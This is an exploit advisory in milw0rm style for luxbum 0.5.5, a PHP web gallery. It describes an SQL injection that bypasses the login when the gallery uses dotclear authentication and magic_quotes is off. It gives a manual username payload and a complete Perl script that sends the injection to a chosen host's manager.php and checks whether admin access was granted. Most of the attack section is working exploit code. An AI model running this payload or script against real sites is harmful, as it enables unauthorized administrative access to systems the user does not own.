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121 lines
3.4 KiB
Text
Executable file
121 lines
3.4 KiB
Text
Executable file
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/\ \
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\ \ \/'\ ___ __ _ ___ ___ __
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\ \ , < /' _ `\ /\ \/'\ / __`\ /' _ `\ /'__`\
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\ \ \\`\ /\ \/\ \\/> <//\ \L\ \/\ \/\ \/\ __/
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\ \_\ \_\ \_\ \_\/\_/\_\ \____/\ \_\ \_\ \____\
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\/_/\/_/\/_/\/_/\//\/_/\/___/ \/_/\/_/\/____/
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Better to be alone than in bad company
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+============+
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| MAIN INFOS |
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+============+
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Software name: luxbum (PHP Web gallery)
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Version: 0.5.5/stable
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Flaw type: sql injection -> auth bypass
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URL: http://www.luxbum.net/
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Found by: knxone <knxone[at]webmail(d0t)ru>
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Greetings: _Pirata_ from this famous irc server ;)
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+=========+
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| CONCEPT |
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+=========+
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Luxbum allows authentification using dotclear username and password via MySQL,
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while the default auth mechanism uses a md5 hash of the pass in a PHP file.
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If you trace all the code from login form to admin panel, you'll notice that
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user input isn't filtered in manager.php or mysql.inc.php.
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So if you use dotclear auth in luxbum, SQL injection is possible but, in order
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to bypass, we need to return at least one row to get it working and it has to
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be a dotclear admin.
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In dotclear, the table dc_user stores in the column "user_super" the super
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admin status. If it's == 1 then the user is super-admin. Since the luxbum auth
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mechanism already fully accesses to dotclear users' data , exploiting is
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very easy and doesn't require the disclosure of dotclear database infos (DB
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name, username, pass, prefix etc.).
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+=========+
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| EXPLOIT |
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+=========+
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- requires magic_quotes = Off
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- requires use of dotclear auth (not default)
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Go to: http://host/luxbum/manager.php
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Enter as Username: ' OR user_super=1 #
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Enter as Password: xxxxxxxxxxxxxxxxxxxx
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+==============+
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| EXPLOIT CODE |
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+==============+
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#!/usr/bin/perl -w
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# luxbum 0.5.5 auth bypass via sql injection.
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# requires magic_quotes Off and use of dotclear auth
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# returns 0 if successful, else 1
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# ./luxbum http://host.tld/luxbumrootdir
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# By knxone <knxone[at]webmail(d0t)ru>
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use strict;
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use LWP::UserAgent;
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use HTTP::Cookies;
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use Term::ANSIColor qw(:constants);
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$Term::ANSIColor::AUTORESET = 1;
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help() if ( ! defined($ARGV[0]) || scalar(@ARGV) != 1 );
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my $ua = LWP::UserAgent->new(
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agent => 'Mozilla/4.73 [en] (U; Windows 3.1; Internet Explorer 2.0)',
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cookie_jar => HTTP::Cookies->new(
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file => ".cookies",
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autosave => 1
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)
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);
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my $url = $ARGV[0]."/manager.php?p=login";
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# First we inject to open a valid session
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my $req = HTTP::Request->new( POST => $url ) ;
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$req->content_type("application/x-www-form-urlencoded");
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$req->content("username='+OR+user_super%3D1%23&password=".'x'x32);
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my $response = $ua->request($req);
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if ( ! $response->is_error && $response->content !~ m/message_ko/ ) {
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print BOLD GREEN "Auth bypass successful :-)\n";
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} else {
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print BOLD RED "Auth bypass failed :-(\n";
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exit(1);
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}
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# Then we check if we've really done it
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$response = $ua->get($ARGV[0]."/manager.php");
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if ( $response->content =~ m/h1_admin/ ) {
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print BOLD GREEN "Access Granted as gallery Admin at ".$ARGV[0]." :-)))\n";
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exit(0);
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} else {
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print BOLD RED "Access Denied at ".$ARGV[0]." :-(\n";
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exit(1);
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}
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sub help {
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print "Usage: ".$0." http://host.tld/luxbumrootdir\n";
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exit(1);
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}
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#EOF
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# milw0rm.com [2009-05-08]
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